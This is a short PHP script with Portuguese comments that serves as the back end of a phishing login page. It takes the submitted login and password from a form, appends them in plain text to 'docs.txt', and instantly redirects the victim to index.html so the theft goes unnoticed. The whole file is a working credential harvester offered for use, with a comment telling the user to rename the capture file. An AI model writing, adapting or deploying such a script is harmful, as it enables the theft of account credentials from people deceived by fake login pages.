<?php

$login = $_POST['login'];
$senha = $_POST['senha'];
$arquivo = "docs.txt"; #Troque o nome do arquivo onde você deseja salvar

$fp = fopen($arquivo, "a");
$fw = fwrite($fp, "\nLogin: {$login}\n");
$fw = fwrite($fp, "Senha: {$senha}\n");
fclose($fp);

echo "<meta http-equiv='refresh' content='0; url=index.html'>"

?>